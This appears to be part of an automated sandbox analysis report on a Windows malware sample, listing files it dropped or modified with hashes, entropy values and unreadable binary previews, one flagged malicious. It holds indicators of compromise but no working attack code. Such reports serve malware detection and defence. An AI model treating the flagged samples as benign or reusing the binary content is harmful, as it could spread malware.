Preview:	'use .i.?....Y\wK.6..o}.X.i..o.Gev'...60.47.!.'b..EL.a.k......+.1..... .9b.V......i.#...q.. .!..jS...K..m!I.Y./hy\|...:....R+]..=._.u...>.N....r...Y...hl.rP..I..B..x%.T=.z..0,O.5....c./f<gQ5.........U...G .B.....r........w.3${...%53S...6..J(..^.n'4x7...~.FE....#U.........-..3.z......!.e.g...I.l...r..#...uWZ.....q.>....H..#Ob2..n.a.... ...Br..`.L!`...".IV.O;..;........l.. ....2D.f.`.U ...P.....^er....y...u.c.LU. ..!.m......R.....<......k..Z.lH.lX..h..K.Q..K^.f...(-..g..\|<f$6S..13Stz...>s+@...V.(w.p..........F..v..Ska..9.N4.>.......;f...YZ....C..k...%..eM_..D....\|....<.x.....@..4.;..h...])...E.%.O...;.c.W..:<......h. .f.8W...#....Gu...z.>K..f.^......b$.....T.OP..\|._......2.7.\|.s.<@....c.p..P...........Z..q{.y^-O..=U....Zj........8W.QN......;.(.H.._QR4..5.}....>i.....4 i..V.xaD/o.^.............``,l..F..ld..L.R.t...j.t!...\|'.O.............$.nn.I.2.L>Ltrny..r......$.=b...zT..)..u,Vyo...Z........I.X.]x..bJ.Y9G..j.n.T._)..r.X......U4...?..[#.

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.993306945306818
Encrypted:	true
SSDEEP:	768:L10SlTO6ju13ffEvA/RJItbJgdxP8LxdzBLmfqLQB:Z0SI6ju9ffEvAZypqdhOzzB6CLQB
MD5:	47481C2610AEDBF3F08A8C9A1A77D8A5
SHA1:	16355710EFDBDEE4EE9B4AD27B3FC11B14A38A50
SHA-256:	F116E979AC192DF1380C67B371DB5848EAB467E3C035ADD954AE72347ED87314
SHA-512:	04090ABD1EA7FBF208D179D4C82CCCF8E2939637663505AC7A55857BFD5F45C563E355F6619B3119501E5CBA0A8548131E8FB23001DD496F4BDF19CD62BF8390
Malicious:	true
Preview:	'use ..;......,+x...t..........%..F.h.W....l.),.h..vl^.....9v..P.t. ..L...k=.Yg-. ..`$.7..mu-}0..A...j...a3..t<X.U...&...gg.2\|..}O.4..C.V...4...C.8...Z.Q?N.>..".T.4.z..YI.....h4.d.$.n...4......I.$...(..k6m..Q..@...tI......~....4.........z..Y...5.....):....c{.=.c.{!.V4....aq~....i...Y...@..Sf.?I...~...l.......\|..i~%.If..9w~D.5.....Z.'......')..."..Z..04.No..h>q.H8x.....u...N..\...w.....imX.....h....R.....,...,SZt.......e$z.2...".Q+..6u..$.?yZ.o..b....H.q.....qL.'.x.;x.:\...#.../..k.K_O)...g....S..w.;.7......m..H..j.d5....r_ ..u?&.S.......!..4D..$.0...,....~7...........7..&.l.,.E.8.%......\...g.cDD.X,...?.-.........d..A....s.......B.^...U.."..r[^.....:.T....Mm.j`..Q..+...m2X.y.{.`..o.E@..F........O..YI..~.8cmB...."y+..~.;.}9<.sJ.),.j....pZ)..\|.m...`../;N.[..I....-..M8>.....ha../B."".....Zc../.-%..;..7..g.b...v.a.).......#......LN.f.E....?s.T..O...-h...".D.4.....\|7.=/...q\......8o..........F..9..CW...u3.v.......WZ.gH...C...c...>...C..]@.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.869112060982602
Encrypted:	false
SSDEEP:	48:Y2nbGUIYLmPCyrS2wWNnemL3WXJAl6B6W62RvQoRD:jnbGUIImtobXJAl6oW6aIoZ
MD5:	1CAC94E0721B5A3BD427D08EB6876B2C
SHA1:	FC81533487689D6234254F11FDA0A6D29D758B68
SHA-256:	827F7A2A3017224FCDE045F3A01AEEEAA7168E04AD5E3D282D4E9D94FC832BA7
SHA-512:	B473AB93A0FFE681F2FDF07A5A2704FCBB5517AA997855ACEE4818A48A46539A765DE17861C20497593F8266F10549B8ADA42EF007080C033262A8E3EF17CA6A
Malicious:	false
Preview:	{"spo...Y.........s0$..g.c....e7.j...o,.9}....q....[..x{.....9N>SH..=i".R.R....7...0.qzHq...:...Ht......)...j.....N.X$.1.s)...2..S/.W...k.c..........~.G.t.}W.?...".....:m.B..l.[.]..,.I....%.N.h....z.5.KQ.2ct8....d .X9..Nu.EJ`....E.P.........>!uua..Hh...K4.l..% ..R..`......Xf....U%..rjj..4...0Y[......0L&...y..h.6...VrrW.m...+d..l...\|.....{....z<....W..w.;j.....^Q........-S....~..4.@!...=...nnW.:1.%)..q.:..rG\|}}$.T..Uq.$Vv..t.._...q.l..l.9#413.s.T.x.^...%..F....".r.5...l&..S.q-qB.siK=.[<......4.s.1T...K..]..y.D...p.....P/"B..5.....C..YC...m....f...2.O.o0......3.....e^0fQ.................A1....;2..U........p.G..C S....\..q.t..T.m..K....q=-8LqN."...R&.FRc..p-*.........3.n..tp.a^..Ob_...>.S...%+...#..>.(..z..N.Q(_rO}...n1...(.....X....&.W..2v.V........C.j..m.q.......8!9..."...X....RN...;.l".....$.....7.sh..J..b........1.k;.,..?w.#......Q.P&.l..Q=.+...G?....}.=D..N.P...F,.C;.tq..u...4<....h.=.z...p...n.i..<..\|..b....~Q..s....x....1Y.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	modified
Size (bytes):	7915
Entropy (8bit):	7.9777056420503625
Encrypted:	false
SSDEEP:	192:eBmZheM7uG6JrQ8BF7oLSGj9AGw3T9DELUhIGN:eBm7fOrQIuB9r09DJhIQ
MD5:	29297627AE02A4E59886F2E42095452D
SHA1:	ACC9618995AADC43543C41DA25D59F0BFBE436CB
SHA-256:	09C4D8373D753CC2D086C5AC42849A6FF36FE281BC7DD14DC6D68DE186A2D73D
SHA-512:	2C0A46D446220771D1B413972AC5C7044B86150C04D761F4EFCD3735067E604FC1FF4CB368D69AD6F073C47720D9CD9474F6B5829E47BB5894F5E663A97FFB74
Malicious:	false
Preview:	# Thi.N..Q%S* ?'...U..A..G..#k..T.....l....U.......6..`.........6i..h...H.^r.]..xB....lU........fk...g;..tgL....d...P.r...1.G.@E"f..A.X.z.I(QV..y.=.T.V'>z..W4.....A.'..!...!.],.$M.j(.=5..p.5S-]......q. ......Xf..k...z....}z_..<..s..7.q...xL..c...B.o....zqL..L....$I..6.=F.Ij..q.Kbb....#..2...m.P.Z..H.....K.Y..?P)#.0.w..-a..t:....o..DR.K..+.......x..[.H..6d.....<..c.B5..J2...9.{<.g._7..\|..A..Y..U@.C.b.F.."?.a..OAD+K..5.r!S.......@.W.V.U.......A.x[......z..p.M./.QG.....J"..Pn.d.r.Y.....q../.R..O/Y.../.........c..;%..".B.!.......TE}..0[B.w...a=....p.;.73.,x...f..M]....!g.......[..T..d...3.c..k^.T.?6w.`:1..c...v../.q.K....H..TL.\.@...nA=...._..N.0n.7>.s..%..rc.....@._.@.Z.j.j)~......@..8O...J.......c.(...vX..e...ykv.cV.L. .v.C....#/......Q...GQ4+.........$8q.I>{.j...&.r.8Uf......,.XI..w.D..v...@z3...8....%p.$...n.\=?k..y../..M.Ee[a..l@.st.Gn.."3......U....c...B.s.9.Zt._.(.b.U..Dh.Ev....p.t.......Cw.....^.mS.4S...-lkv.v.(...+...p..o1....y.\.....M

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-child-current.bin

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2046434
Entropy (8bit):	5.075953713458514
Encrypted:	false
SSDEEP:	12288:FaNW3Mo18ePFh543NkC4xqcGG487l/bpO7oypPA1OEiCIuRhRuPoCnE2ZzNYLQhd:F0Wco9hyNcGGR7l/bqs6BjUNR+l
MD5:	5926B689C2BEC6E319417C3DC7AAA2A7
SHA1:	C4EFA6CC5281D33D611DDA99E630E66240CB8A0E
SHA-256:	C707F4411E053A2560D08D14A11F86E61025C625F943F3F35E566B3304E2AD11
SHA-512:	A90611D2CB1C9DA9F03945BA5ECC7403F39C7B3FF66C90EAC2A5C4A624D02E8BED2B6FC2B530C43AA13B0C013B526453C7D461D2A0F78F22100CF67AD0DBB47B
Malicious:	false
Preview:	mozXD...M.b.....)e......],.@..u>P..`.4..^{..v:......4..=...O`Y.........S..^e...om.k.>.....<..i+=..4.J...t<............L.......c}...I........@?Pv.c`.BG.....K....V.'...v..?...c9W9...T..,...EK&.......z;.C.<r.(+.h..j..I.....q!...C(.@.....4....9`j...t...Xn!XN&GPU..H...g....2H...K.z..[....AC...C..q.)...,..R1...X....u..&...p.8..sU...xy..&.V.(.\|....q....V....'.!....9.x.u.B...;....u4.."j...Im'MJ....q.o.....w.><_xQ.4....^f...+J..X..YV..O[.........K.o!..S....=t.....3.gr.T.U.$........6..']....n.t.......GLP.uDa'\|..n..;.......g.[...lM^Q_\|.LJ.mx,HFAB.u..F...L.hk...J...H..c..r.......+........o..mV...E..95$H..]..M...{:O. -........?}q..H..aT%RG..Q.$...\|.V.....Y.?..y......J..j........E.2.(].. .C...<....-.<.g.~0.sR...Ok@MmB..n...S/....G........L.Vb...A.....,_Yu.."<...)...an?..2.......oC ....Y.!1&.3D2.m..Q.....S8...^X.F6..P.v...2.0... ./.+......y...I.3.[.j.k.TQ...O...8.{9F..r..Q^s@..D....=..^&jdF..l.w..u%].@.VE...%.S7~q.H..R.......X>;n.E...MD....m..}1.B...

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\scriptCache-current.bin

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	8387278
Entropy (8bit):	4.802755046987314
Encrypted:	false
SSDEEP:	49152:2O6wTv3Dxd4C4sWDc+ikpXGGRAuAgdyR+FwDkly0CNG1Kl/S/qyal+6N7hS5BLVp:z3v8EW5IdVgdy6gn/SSyal+rPX
MD5:	710DB16864D11182CD8C07365D8872F7
SHA1:	2BE4AC95BD503172BF75E1C14229D99250881958
SHA-256:	75D4E5D0669069F5BDC44B2F8FDAEE8DB84AE54E0AEA804DBBEF0B4A18B0736A
SHA-512:	EA35D5153688DCC32A57DACBE24FC32EBEB38CEA167960F5219555F85B6B4A1349C206E6757D55A45AA29D2BB793605F479BA103DDE696FEF1B6750AB1370967
Malicious:	false
Preview:	mozXDW..;#...D....Ce.....;....D.....1..p.Dx_Q.S.=SZL.".M .C.....'...]..J=....].Q.B..P...X2L.j...L...u[...q..j....Fa.w.....k.....1.......F<d..biuS...S...l..`...\N.K"...._.;J.5i..-..C...<T.....tx'.et...C>.(......I.T..z/.......6xF.9...W4..8.h..Q.S8...vx....0...=..._..1...<..C........z..Nr.QqG".3hBg.:h.^.K.u?Mh'.;a....}."..v....%......>...n. .n...`..mK6...K`-.\|d.twe.7\|ja.\.!......AwA....d.Ne1{..S...8S.Z...+.Zz.....x..6..X.7....Q......ou.ZC...&....)0.....a....{.....fb;t.Y.8...R..x.2.z...}~....W!...@...[g.I....i1..Q6...@.F.<R0H.E`...l._d..............)`.K6....f.$W8...p-.d........'.u.....'...Ox.L.......T..`....w.Z..qw.7..P.8.....r.z./..F.n.s.~w..&H...CNs...o..wM ..2.=......y.3a.&.0..D..8.X.......r..Ey...=X...h%..C:..G...{F.T...1.Z...4;.x...$k....0D.t..G.&..)..?Rn.V...0X7..XY.fO0.F....../..W?.=^...p......Q+Kh.g..'.....".#;....;L.....K.z...7\|.>........?..<..`.....".,.>\|...<..R.+.5. .1..{..r...t..dKzG./5V... m.F.U..qA.(.....z(..H.J6^u....mr

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\startupCache.8.little

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2620287
Entropy (8bit):	6.998937143104301
Encrypted:	false
SSDEEP:	49152:27FwvdWoM99IrJxEhfSI9CyYlNjcHu/Ek9:zvdWJIYfS8qlJV9
MD5:	05C95622C1AECC3A3D4E75D4CBDE73B7
SHA1:	6FA4BFA23B8E627C8BE6F4757604B4B3883ED416
SHA-256:	987CF8D316931F27892A1134AC8DC69C8297DC18C61E971C11500A93D8C13DA4
SHA-512:	E5741AB611D2A5C8BA9A5DC4586EC866985F43D9435F96A4016A22A89EA4FE8BD81C90A237604E67EB08B55695BC8312B2798695DE19446A7FBA40E7177CF640
Malicious:	false
Preview:	start....X........zQ.v...Cc.....Z{ ..[.k.3.<,}sCx......Z~R.....]M.2..+.`U.....Y...q...-.. /....F...0V."...u.; .4..%....#8$.U3\|P"J:.D.S\...[..{.'8/."..B...8..xW.;}..{....rP.........6.......zI..._.<...Z@.........u(.........9.....o.P#../JGt.......=....X..j.yQ{MJ^:O.....c...O.Jg}.u.V..CM^..Q.k.(F[...lS.}.i..\.L}....'.h#..G4.\|Ci..[.....tX...3.....q...f<..hE.&.V2..F..f..H....A..9...=J.+.R...U].I'..[.da...[>Y.IT.@.....T=H..h.".].I..v..%^...-...BC..!.~.gU5..u..pm...Zx..t.mU.7.vAuC.....7.....CX......2....$.Q.At<...@.t....0.9.w_.n>..s...Y.C..rj.d...`".:?.K....!.;~.hz....Hi...........C..{..jD^X..Oxv$-..~t..=..I....F..om....JC...y.l..Jn>..^...-.......8.}.1.C{.....+%.]..Ef..>.9Ag^.E..PK........_.5.l..........Fw..e=...p......(.C<q.7.HN>).vC..g......}x..N.....7....s(.@.t..?...bm......_..g.6..q.......%.[.O.....7..o...:8........a#..O\...-.4.co.....+....e.%._-..,.....%m@..~.-..x.............5..F.N...}.r..,j."j.X.V.c@..Ade...V.-&.b.^/...2.7..l.v..6.lR.`.

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\startupCache\urlCache-current.bin

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.9375507870742465
Encrypted:	false
SSDEEP:	48:6ljQ3wM72TPNXz9uKs2qGJ9xM7HZeaJGoqN+SxZCpGzQy7NQD:uEjWD7bG7H8aJI+SJFe
MD5:	C9CEC76E3CDB60D562AA6510B0CA6829
SHA1:	FDC6FEC3E4DCDD342CD3A24E694AD5B00A4FCBC0
SHA-256:	B5CC9F8DFB243FF9019E959B2E7D7CC3DD77936F0628EC9E63A75DC0C64CDA26
SHA-512:	1CA74FBAD10FE95C18DB448A684B695F67E0EB5C76AE66913D4DADC2B4623B28DDF61AB7269CA79F28653FF6520BEBFE36CFF4A0FC3772C8E8DD06903379CE7B
Malicious:	false
Preview:	mozUR..".D...tU..hZ.A.C.......V...A..0../Y..^..Y..g...B)Yv^w...gM-..V..Rb.G...lA..u2..L..........-]].u....K.........;c.o.....q. .....F..;..".T._....x..IS......z....Q9....g.u.............4..v.@.j2l....3Q..'.....S...'....\^a....-.;.].....~V8........"w..g..,. ..1...K..;T.Z........V.:4.+.E...J.54....^...d.J.J..tI@.Cw....jy'.....;..;..7...X t}....gm..!&......iQS..1...(....'.`..3...'.^.....9....k....j....8.K....Xg.D{.zh...S..T]Sa..@.{..#E.63.z08....`...?...A..3>.r.>..."..5p.m.)..@XC..E..s2.. ].Q.;8.>\|.U...y2yA>.....fP.....\|.B..&gh.Q'...}...`....=m.W......E..U...I.k.....0......{.`....>N.Jl..m.h.iX...`T/...1yE....nlO.O.s..At.UL<.{wR.HO.,.6m....F.P.._.FS.\I.F.....)B...i..;.......yT.\|GT..5.....D..........O....1....<\..v.g...p.:X..o.M>..l.L.kyXAi._......@...@..]...8..es.I..%?..c..V......&.zi..n......%.`;..Y....d.vu..L...'.}e...jL..!...#.fE..........,x.f..I.y...S.M.1k....v]4A.....gm.+s.Xk...Z9e=.\...6S.f!.mG.ia....5DL.t.Dj.K...

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975723944877535
Encrypted:	false
SSDEEP:	192:NnG0fnIIwg0ZfxySRkX+cg8VMlqbjP4zvxBfh3Mr8fgPA4aeHV0y:hh/IItsfxyYcDMY3QrrfhC8oPA4NHV0y
MD5:	2FAE5ABC3824483295436D0531E5DEAA
SHA1:	E37D5D690831DAA90105BDCCF3538022F635C3A2
SHA-256:	E2B29579A9586496D83D8DD0B626FFC9278B1F8008E498399F861B6DEB487C7F
SHA-512:	A2D11C0E559EDF6B37471A35479AA102BB25AFAA93FBB682915FDD2B62E9705C54D88200ADE8441737C5E46F9AD0091BE3AC5510BD912C24BD724F2D9EB547C4
Malicious:	false
Preview:	regf...r......F.+$.r.1..dV..=9.Q../a..$.e...1+.~.....u{....W..u..Q.X3JE.'...rh.]..W........P.8Y...U;..)...V{;.!7W\|..F...6..S.W..n$._s.Z...M.x....(.T...%H.:..C..G\|...{......%....>..V..7.^.....cu.%<2\|\..'...X...2...~..t..`...~.P....]..yM.r.2....OW...._..e.J..`......'.Q..mX..\.7.KgO......%.6....q..S~.)].1.^..?8>_.d..6.....:.....i.$.....6..Q..G.-Z.l..}.F...2.B'.V...ut..j.V.D..^...X4Q...q....DnI..{k.W&]..H..K2#.r..l..HK.-m..../......,.?..2PBW]........Z...Y.a.......G..f..(.@.}c...@t..F5.F.kWe..M.x..Jf-..u.W...cq.Y^.T..........9LP..L^)..M.D3...E..p3\|.Do).=.".W.i.c..K..D.u..G[...u"H..De..Wt..<KX.....1..6.......<...Uk8....{/.x...y....{.J....]...h.....c......%}/Vo.!^I%...J...k.J....".,......,.x.)...KR?.'.^..E..p'........MB=x..`(Y..;...c/>@uK..[W.. 1$..\|..5.....t.Tn.9c..y(;.sN..Mt.....`G....(Pl>BKt.T..&..0.L.X......O*;...U...h..V..q.z.$.../...}ON.N..~.X....v...N...Y.~0..f;Y.1;VP...7..D....^..l.;..3H.^..5ZD.g.6=U...;.....e..N`......0.....B..a>8

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977866809262476
Encrypted:	false
SSDEEP:	192:iWwOTG85hClOg1CrtWCkAqYxYa9l8KI0+krRg3xjR8IJrhri8yT:iWwTrlOggHgYaaMOiYsrhri9T
MD5:	585A9F95F300065AA3888EBB6B8D5FB2
SHA1:	F72F569A33C56E9E074AF4461927F2569867D75E
SHA-256:	A4D7A0A768DBAE68AAEA3EF66A24670966C2BFF6CC8B1E91D10E60F9A1CB4400
SHA-512:	48F63A50183F2A762CC5A938CDD660E0B72527311D35E1858A4786E332A29219760F24DE2B7A97C8EE903FB29D9BB754C4C7BA84B52BD4F0F695A84AB761E4E1
Malicious:	false
Preview:	regf.L.......n.x.M.* _..$...h.QO+P`....c>.>'..n.y@.G..6..o..{...\|W....m.b.....H.[..C<c..$M..dw:....D.z.0..!t....Vq......VG......... m.5.wS.q!...ma<..j.,x.z......<..,......NI.....gZyK^../....../....#....S./,&+..Q.x......%...@..Sx^yzX...$i.....r.[m..)........cb.;...1R.a...j......P.$z..=...-.....5<5.J...S..\|Qb.`aq......5\|.d[p...W{.E..;.\.S.A...G..}.H..5...1.Bob...d.#..$..$....[.).H^5..^.t...!....].....WC......8.......kI...f.Y>z&.g.F.c.D...7...A..U..`...m..W../........{3IhQ....O.3O4...:@.~...B.[......2o...l.1.....4;....{..a.8[.Z......_'..S$..FZ.......^...7y....ScN...Sez....F.Eh.....j..6%.g.H.'........Gha.ZtHpm.+.\|Kx,.[i..Ku.5...o.."..L../H.$..%.d.._...`...V...v.1.4....._x.. ..i...e.......E....L...eG@.M..@../.....[..{..L5..J.e'z.f3...U7.<v...........').x..u..2..E...m`...Ug../6.QDi.$\|..)..4.v:..........2.0u...4.}__\|.;.J.v.YX. ..:.:`Y.f..e./X0.O..c...[..b.B.:.f...@?....'=..k.....H......Y..p...C-u..*AiF.x....{...;D'-...`RB.#...h/q..."}....)

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979632155120157
Encrypted:	false
SSDEEP:	192:Z3HiyTZj4DvobNHVyFfkT1tWPiK5WECi5d78L3lpn/HvrOf:Z3HinoZVyFAUPiKeuS3Ln3r2
MD5:	116394A1652F12016F7BE6A3BC4A7E97
SHA1:	5E761C3F39AF5EF03E0FF085053D0324396593A6
SHA-256:	0E210C76D9F7C86AA1EB9B1DC7C3229FE6FF478F57F45161B214BE8D104D082A
SHA-512:	E3A8FE8C41DD589CFCD3AF8B76CB5330BD9CE3CE9FAB93E90F3CAB950964F3EAD39E72E0AA9F045264C7E0E8C20CC2371BB0BEB0429F6AA8C758B028A67B41FE
Malicious:	false
Preview:	regf....0n...=.1....{.T/C-..~.E....6.Q=..0.a.{.A...4.QC...b>9l.....tM).O..2J}...r.U.......l.2.......D]Y.n..{......z.....%ch":6....K.V..6...M..d..E.0&...x...A.y}z.cZ...j;.X..thv.hO;..-.....O..bl.J..}2...]........3....U.......L...7i.7.(..<...$.n..i.$3..g:..L.l..@Da.7;,...:'{=...E...$.d..g......G...3.'..K.S.......M..^..S..i..&..,J..1....G+..._...x?q.A..:..qS.M...f..@...HM.[.j.vB.....vt6.9.w..'..0B..B./N.........#.Q...r..r.. ..#3....=e..-..?.N...9.+..nI......Ce{...$.....9u\&>.iv...0....q.i.A....Q.`.G.Y').n.e1..UF.` tJ.r3.J..{.I.......G.%..G[.....!L?F%.v1.O....P..P...FT\|.J..T-....T.......F....eM.8..B9.4.#.-}.....z&.....%....r..../-..=$..$..d.........~Z].;...9...I..[?q......A\|r9.....L....^..\lX.H\|7....S.w.....L9.G.fc.g.#.-eH.>.......Z....u.a.....f.y..N..3D.D&..[..lS.uA..l........k..\..l..3.....".,&#.. @.7..e.....)....I..8T...A;.H..8......%..fj\|...Q.....({...n.i..z@...n.C../..X#.....[...7.m<..M..!...n1....g.0?r...pa.q..y.s.".0...Lb1)s.....r...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1573198
Entropy (8bit):	1.3860586090209606
Encrypted:	false
SSDEEP:	3072:11ileQvExMKbFo9Atm3XOq4WF94G5OhcAQBJfKxDWAA/LRPk7ZayZRuQayZRuc:WwsgFWAtm3xL4VC1JfKx2TRPkLBf
MD5:	5509D8FEE52869FC0511F43065E5A726
SHA1:	40BA4FD3EA0A96320EFD0BFDE57B098BF69A8888
SHA-256:	3A4DA0613BED396B720E044ADE10E546B55A33C44F7E339039103BA10E1BC6DF
SHA-512:	B003C3C761F7777A19A6E6EA2F0E9664C94BFB099764C09D0E933E3D5851C5DF6EB77DD57E2348CEC607EC8065D7F93EFBCB6239E4F4DC802D73E9E3446C9DD9
Malicious:	false
Preview:	o......C......:.f....&.4/.....m.....%......H..].w...n.@.l...Z.(i-D..-[.,X...Axy......qJ.VP...B.>...t.T}......u<B...G...)SD.........~..2....L.O...{..].}..9.H..z.Ow....Y...-...5LIt..I;@.F.m.}.."<=..=.u..p".'.B.P..b..I..8......=..]....z.E..O.'.&....9...=.y+...D"....<0..#q.<.vY.[v..Q...q.2......F`...l....~.....ef2...B.8}......C..,..w.}.=...f.=y.<...u...`]..h+...j..B.<8av..Y..E.\|c%........O.\|..K...f.@.Q.l.....X..4...^l..L....T._{....n.X7. ...X..e..1..&..H..u.@...:.l..R...s..#L....1.E\..$sY[C...r\|0.;.`._>.....6(.../....~.....b..Y.gQ._.;.Q...i.M.Mh.......f.7.\|....I.R..g7..\........3./.....aW..VB.q....`. ..H..L.(&,..).....T...\|B..[..ow.....!Q..^W.<h.!`..6....i.....{..4=....4...+...).,%.2U.F..\.:...?.{0....%N~Z..Lm....q3..$.l.f.t...s9>..2.d.-...+.q ].7.P.....q......1.\.sX.X.d..S.W..DP:....#.d.y.].:.,b...I..@F)....3...@...A&..^...m..u....?%].."S..E@......$r.n>u.....]';H.kv.y..iK.....{...hX.:YY.<.?.:...S)......Y.P...3H...=.....%".i..9..S..0.<_.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.jfm

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9882559961742
Encrypted:	false
SSDEEP:	384:YQSUppZFFhb0nw50bi3uFLuVJ3bq83YvBSbjutJSpHG0iY:YQH7n10bi3u0J3beYbmsHwY
MD5:	3141B3D9A98E2D1DACCED871F3A48681
SHA1:	4D2CE848659D1F42C3CBC2952C0FA80312F8D268
SHA-256:	E2670DDBE85C69BA850403C181B5F3CB2913D0F6898DD554DD9155B9199E8950
SHA-512:	97C8D179BB01FC9736C69017FB578E2899242593A7C0580DFD49C76A03FE75EB96C25D3A456D0942A0C8BC267C997884DAE836FDAA81D388ADD069A2BD3BCFE7
Malicious:	false
Preview:	......V..v...m@..,.78......"o..a..Yd.\|..5?...v~6'j"5.f....X..:..v....dzY.^.....[@....h.t"...2@..E.:9.$&...a.<'.9He....S.-..1..k....H.8.).u..~.........n......x.(.2...q&......3.B#..._...$.N..\...R~..sS..DV.)D.........Y...1fI....E.T..:..4...........UG~.Ks..p.:...f#_.H6}.K..bU..._..yl.......`A........J.>y-4s0...9,.b....3..x.y.v...b.u_+.9L..#E..i%...2....,._vR/...Z.]...yQ.....s^>....M...{...Y..%....Sf4._...M.LvvG......)Sb.P......v_.Eb...v.PK...E].T..J.H.F.[V....!....<.].H...&...Z....>F..7+J.{.zy..}{...lV\|3.A._B.V.......VQS.@,.!^z..Db.?......R....!.en.c.h.{.l..B.q;..J.@.C7........L(3.D...B..).../..7.0/?.:.G'...][xMf..l..)d$_.%ny.tz@.:w.xI..:..I.;.....f..Vn..#b[..g..ox....\...o..g.......Ie;.e...9.\2.....f.k.k.H`.........R....vL....pP.^(R.....&..5..U.!..q../R.......H.....{......fE..7L4%...\.<...7%...K...$..?.IoR......0.V..g......y...R......#5....R..b.U.b..h/...._.=.9.$.J'.?fhz!..`........d_x..\|.h..).lZ.7...]Mw..F.Ux..]..l.R.V.!...E6.."..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97700664121282
Encrypted:	false
SSDEEP:	192:RB3MnDN7DbTIGjuP3atlGcij0750muPOBCFQMi1v28j4xz5r8/:z6NfbrCCCWCXGBVMi0K4xS/
MD5:	802B1C9C794F103670D622333026AD1E
SHA1:	27250ADE44B6500BB8892853141AC1E982663E3B
SHA-256:	49380E5DB5FAB6F928764C36CE6C072A464C06128A3F47EE132CEEC96B4A8ECD
SHA-512:	767A4708BFBA7CD26AB8915CA2930087F54F14D6677BC0726237B9AFB18296EEA9960A2624C2A15C08A9E94D86B264C7D83297DB32F6F3A81B64D1987867BC4F
Malicious:	false
Preview:	regf.....&....&b\|...J4......z.d....H....6..A.c.....y...<.?.6..a.Ea...7....)..jK.....4....}....!IG0.C.....J..v......w._.Z..D..U..n..,..h....^G./..Z=o9.6.@0...o.k....\|.Hb.tBk....\..c.V.@.rU9..J.......8.n.vx.....]..rpfu=x..h.v......_.....?...AN...!.f..[......=..,.e/(U...t+.\|I.y}..<..~....W}.cq..........0Q....;...{,.Z..#e^u...z!.j'C...7...K..w..H.........)v.D...L-...8p\|....+_y.4AP...>=..Dc.(.w#7Ff.....\..f....w..j.....j..d8.h.9..{.....g..3.......V...0.pN3d..M-.....V.N./9...a.u.....U...y'`...Wo5.T.h.=.,4...w....~..q.wm.6.T......q..?8....?G.x..TM.O.......\|.....*....R...D)..w...<Y1.=....by.X......Q-A2.m.'...vm29...c...^..s..p....E.m...v....N'..>.i...x..\..\w.~M.r..D...J....`h.....D.=Q`)c.A.#.....;.]...]..s...j....y......1..^.O.B^...G^'...s...xX...xx..>j.S\e..f..d....r..h...W..RdXB...rQx.d..n.....r...c...yJ..I.1}..E......Q_f@'...b...,.du...p...S..J.>..9..g.b0..a.[..H\|b..O(b.>...+...g..+5.wq%#...9......f...>..~k...4...5..#..

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\SystemAppData\Helium\User.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977000703594042
Encrypted:	false
SSDEEP:	192:5M4+NHeizA7Cg2tOfIeC58E4qfq735JMfUmFwYK:P+8ic7PIr5Bzfxv2YK
